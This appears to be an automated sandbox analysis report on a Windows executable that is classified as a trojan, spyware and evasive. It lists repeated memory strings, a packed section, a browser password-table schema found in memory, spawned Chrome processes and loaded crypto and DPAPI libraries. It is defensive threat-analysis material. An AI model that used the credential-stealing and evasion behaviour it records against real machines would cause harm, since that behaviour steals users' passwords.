Source: eYAXkcBRfQ.exe, 00000000.00000003.2366088798.0000000005852000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2355942022.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2354633419.00000000055DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2361001328.00000000055D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2354958305.0000000005693000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2355489253.000000000574B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2351299165.000000000530B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2354845075.00000000055DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2364828551.00000000055D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2375241730.000000000572C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2356780217.00000000056B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2372525319.00000000055DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2349857262.000000000530B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2353662494.000000000567F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000002.2524002529.0000000005236000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2354527751.0000000005732000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2369201498.0000000005716000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2363326835.00000000056FB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2358121512.00000000055D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2355074651.0000000005755000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2354737275.000000000568A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2359689283.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2374772854.0000000005731000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2360854178.00000000056E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2361277285.00000000055DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2364226982.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2363179512.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2355830585.00000000055D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2374963906.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2422590939.000000000513C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2356540096.00000000056AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2363472728.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2353165270.00000000055DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2354423491.0000000005680000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2422550033.0000000005209000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2362887617.00000000056EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2357030598.00000000056B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2358949128.00000000057A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2360434546.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2361146876.00000000056DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2363632313.00000000056FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2363040337.0000000005809000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2352720126.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2365760405.000000000570C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2362135763.00000000055DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2360133133.00000000056CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2359472264.00000000055D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2362285339.00000000056EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2361551566.00000000057E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2352414750.00000000055E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2358305979.00000000056BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2358694568.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2364082480.0000000005713000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2360579683.00000000056E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2360721313.00000000055E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2363781936.000000000581F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2356284564.0000000005772000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2355379887.000000000568A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2366659868.00000000055E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2373005458.000000000571D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2355198196.00000000055DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2422502650.0000000005172000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2353543753.00000000055DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2357183308.0000000005791000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2357331798.00000000055DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2359918307.00000000055D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2353792165.00000000055D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2349857262.000000000526A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2359308536.00000000056D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2356899998.00000000055D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2357508354.00000000056BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2357739981.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2363931679.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2353400592.000000000570D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2354219574.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2364377116.0000000005710000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2354114834.000000000567C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2374022120.0000000005872000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2361835482.00000000056EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2374518334.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2356169373.00000000056A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2354321219.00000000055DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2358496353.00000000055DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2356390055.00000000055E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2365199287.00000000055D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2353896734.0000000005684000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2356662368.00000000055DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2355613130.00000000055D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2362430980.00000000055D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe

Source: eYAXkcBRfQ.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: eYAXkcBRfQ.exe

Static PE information: Section: ZLIB complexity 0.9996234170751634

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/67@7/6

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: eYAXkcBRfQ.exe, 00000000.00000003.2094921214.0000000005159000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2121294110.000000000513E000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2095742029.000000000513D000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: eYAXkcBRfQ.exe

ReversingLabs: Detection: 55%

Source: eYAXkcBRfQ.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: eYAXkcBRfQ.exe	String found in binary or memory: LRtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNePV

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe

File read: C:\Users\user\Desktop\eYAXkcBRfQ.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\eYAXkcBRfQ.exe "C:\Users\user\Desktop\eYAXkcBRfQ.exe"
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=eYAXkcBRfQ.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=2064,i,8281733334163277,9674830976605934628,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=eYAXkcBRfQ.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1140 --field-trial-handle=2008,i,8247718535860993351,4651391629473625408,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=eYAXkcBRfQ.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=eYAXkcBRfQ.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=2064,i,8281733334163277,9674830976605934628,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1140 --field-trial-handle=2008,i,8247718535860993351,4651391629473625408,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: coremessaging.dll	Jump to behavior
